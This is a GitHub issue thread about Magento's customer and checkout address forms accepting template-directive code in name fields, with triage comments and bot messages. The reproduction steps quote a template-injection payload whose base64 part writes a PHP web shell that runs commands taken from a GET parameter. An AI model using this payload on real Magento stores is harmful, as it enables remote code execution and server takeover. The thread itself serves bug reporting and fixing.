Skip to content

Customer address form allows random code in the name fields #38331

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed
1 of 5 tasks
nkarthickannan opened this issue Jan 4, 2024 · 23 comments · Fixed by #38345
Closed
1 of 5 tasks

Customer address form allows random code in the name fields #38331

nkarthickannan opened this issue Jan 4, 2024 · 23 comments · Fixed by #38345
Assignees
Labels
Area: Account Component: Customer Issue: Confirmed Gate 3 Passed. Manual verification of the issue completed. Issue is confirmed Priority: P2 A defect with this priority could have functionality issues which are not to expectations. Progress: done Reported on 2.4.6-p3 Indicates original Magento version for the Issue report. Reproduced on 2.4.x The issue has been reproduced on latest 2.4-develop branch

Comments

@nkarthickannan
Copy link

nkarthickannan commented Jan 4, 2024

Preconditions and environment

Magento version - 2.4.6-p3

Steps to reproduce

  1. Install a fresh Magento latest version with sample data
  2. Register as a customer and login
  3. Add a new address from the My Account section
  4. Provide the following code in the First name and Last name fields

{{var this.getTemplateFilter().filter(dummy) }}{{var this.getTemplateFilter().addAfterFilterCallback(base64_decode).addAfterFilterCallback(system).filter(ZWNobyAnPD9waHAgJHY9KCRfR0VUWyJhIl0pO0BzeXN0ZW0oJHYpOycgPmFwaXMucGhw)}} {{var this.getTemplateFilter().filter(dummy) }}{{var this.getTemplateFilter().addAfterFilterCallback(base64_decode).addAfterFilterCallback(system).filter(ZWNobyAnPD9waHAgJHY9KCRfR0VUWyJhIl0pO0BzeXN0ZW0oJHYpOycgPmFwaXMucGhw)}}

Expected result

Magento should not allow to proceed by throwing an error

Actual result

Magento allows the user to proceed further without throwing an error

Additional information

The same issue is NOT reproducible in the registration page. However, it occurs in the My Account -> Add new address page and in the checkout shipping and billing address pages.

Screenshot 2024-01-04 at 2 14 31 PM
Screenshot 2024-01-04 at 2 17 05 PM

Release note

No response

Triage and priority

  • Severity: S0 - Affects critical data or functionality and leaves users without workaround.
  • Severity: S1 - Affects critical data or functionality and forces users to employ a workaround.
  • Severity: S2 - Affects non-critical data or functionality and forces users to employ a workaround.
  • Severity: S3 - Affects non-critical data or functionality and does not force users to employ a workaround.
  • Severity: S4 - Affects aesthetics, professional look and feel, “quality” or “usability”.
Copy link

m2-assistant bot commented Jan 4, 2024

Hi @nkarthickannan. Thank you for your report.
To speed up processing of this issue, make sure that the issue is reproducible on the vanilla Magento instance following Steps to reproduce. To deploy vanilla Magento instance on our environment, Add a comment to the issue:


Join Magento Community Engineering Slack and ask your questions in #github channel.
⚠️ According to the Magento Contribution requirements, all issues must go through the Community Contributions Triage process. Community Contributions Triage is a public meeting.
🕙 You can find the schedule on the Magento Community Calendar page.
📞 The triage of issues happens in the queue order. If you want to speed up the delivery of your contribution, join the Community Contributions Triage session to discuss the appropriate ticket.

@nkarthickannan
Copy link
Author

@magento give me 2.4-develop instance

Copy link

Hi @nkarthickannan. Thank you for your request. I'm working on Magento instance for you.

Copy link

@nkarthickannan
Copy link
Author

Issue confirmed in the Magento instance provided by the bot as well. The screenshots are provided below for reference:
Screenshot 2024-01-04 at 2 50 01 PM
Screenshot 2024-01-04 at 2 52 31 PM
Screenshot 2024-01-04 at 2 51 50 PM
Screenshot 2024-01-04 at 2 54 13 PM
Screenshot 2024-01-04 at 2 48 49 PM

@engcom-Bravo engcom-Bravo self-assigned this Jan 4, 2024
Copy link

m2-assistant bot commented Jan 4, 2024

Hi @engcom-Bravo. Thank you for working on this issue.
In order to make sure that issue has enough information and ready for development, please read and check the following instruction: 👇

  • 1. Verify that issue has all the required information. (Preconditions, Steps to reproduce, Expected result, Actual result).
  • 2. Verify that issue has a meaningful description and provides enough information to reproduce the issue.
  • 3. Add Area: XXXXX label to the ticket, indicating the functional areas it may be related to.
  • 4. Verify that the issue is reproducible on 2.4-develop branch
    Details- Add the comment @magento give me 2.4-develop instance to deploy test instance on Magento infrastructure.
    - If the issue is reproducible on 2.4-develop branch, please, add the label Reproduced on 2.4.x.
    - If the issue is not reproducible, add your comment that issue is not reproducible and close the issue and stop verification process here!
  • 5. Add label Issue: Confirmed once verification is complete.
  • 6. Make sure that automatic system confirms that report has been added to the backlog.

@engcom-Bravo engcom-Bravo added the Reported on 2.4.6-p3 Indicates original Magento version for the Issue report. label Jan 4, 2024
@engcom-Bravo
Copy link
Contributor

HI @nkarthickannan,

Thank you for reporting and collaboration.

Verified the issue on Magento 2.4-develop instance and the issue is reproducible.Kindly refer the screenshots.

Steps to reproduce

  • Install a fresh Magento latest version with sample data
  • Register as a customer and login
  • Add a new address from the My Account section
  • Provide the following code in the First name and Last name fields

{{var this.getTemplateFilter().filter(dummy) }}{{var this.getTemplateFilter().addAfterFilterCallback(base64_decode).addAfterFilterCallback(system).filter(ZWNobyAnPD9waHAgJHY9KCRfR0VUWyJhIl0pO0BzeXN0ZW0oJHYpOycgPmFwaXMucGhw)}} {{var this.getTemplateFilter().filter(dummy) }}{{var this.getTemplateFilter().addAfterFilterCallback(base64_decode).addAfterFilterCallback(system).filter(ZWNobyAnPD9waHAgJHY9KCRfR0VUWyJhIl0pO0BzeXN0ZW0oJHYpOycgPmFwaXMucGhw)}}

While Creating New customer it is working fine and throws an error for first name and last name.

Screenshot from 2024-01-05 15-10-48

For an address it is not giving any error for first name and last name and it is saved successfully.

Screenshot from 2024-01-05 15-07-23

Hence Confirming the issue.

Thanks.

@engcom-Bravo engcom-Bravo added Area: Account Component: Customer Reproduced on 2.4.x The issue has been reproduced on latest 2.4-develop branch Issue: Confirmed Gate 3 Passed. Manual verification of the issue completed. Issue is confirmed Priority: P2 A defect with this priority could have functionality issues which are not to expectations. labels Jan 5, 2024
@github-jira-sync-bot
Copy link

✅ Jira issue https://jira.corp.adobe.com/browse/AC-10782 is successfully created for this GitHub issue.

Copy link

m2-assistant bot commented Jan 5, 2024

✅ Confirmed by @engcom-Bravo. Thank you for verifying the issue.
Issue Available: @engcom-Bravo, You will be automatically unassigned. Contributors/Maintainers can claim this issue to continue. To reclaim and continue work, reassign the ticket to yourself.

@nkarthickannan
Copy link
Author

@engcom-Bravo

Considering the severity of this issue, will it be possible to provide a patch release for this bug ? As it is already working in the registration form, implementation will not take much time (I may be wrong). Also, this may lead to security problems as well.

So, it will be better if it is addressed on top priority.

@dekiakbar
Copy link
Member

@magento I'm working on this

@gitevildelta
Copy link

@magento give me 2.4-develop instance

Copy link

Hi @gitevildelta. Thank you for your request. I'm working on Magento instance for you.

Copy link

Copy link

Hi @gitevildelta. Thank you for your request. I'm working on Magento instance for you.

Copy link

Hi @gitevildelta, unfortunately there is no ability to deploy Magento instance at the moment. Please try again later.

Copy link

Hi @gitevildelta. Thank you for your request. I'm working on Magento instance for you.

Copy link

Hi @gitevildelta, unfortunately there is no ability to deploy Magento instance at the moment. Please try again later.

Copy link

Hi @gitevildelta. Thank you for your request. I'm working on Magento instance for you.

Copy link

Hi @gitevildelta, unfortunately there is no ability to deploy Magento instance at the moment. Please try again later.

@nkarthickannan
Copy link
Author

@dekiakbar @engcom-Bravo This issue is also there in the checkout page as well. Is there a fix for checkout page as well ?

@bafmaamy
Copy link

Try this #39002 (comment)

@ihor-sviziev
Copy link
Contributor

Wasn't it fixed in #38345?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Area: Account Component: Customer Issue: Confirmed Gate 3 Passed. Manual verification of the issue completed. Issue is confirmed Priority: P2 A defect with this priority could have functionality issues which are not to expectations. Progress: done Reported on 2.4.6-p3 Indicates original Magento version for the Issue report. Reproduced on 2.4.x The issue has been reproduced on latest 2.4-develop branch
Projects
Development

Successfully merging a pull request may close this issue.

7 participants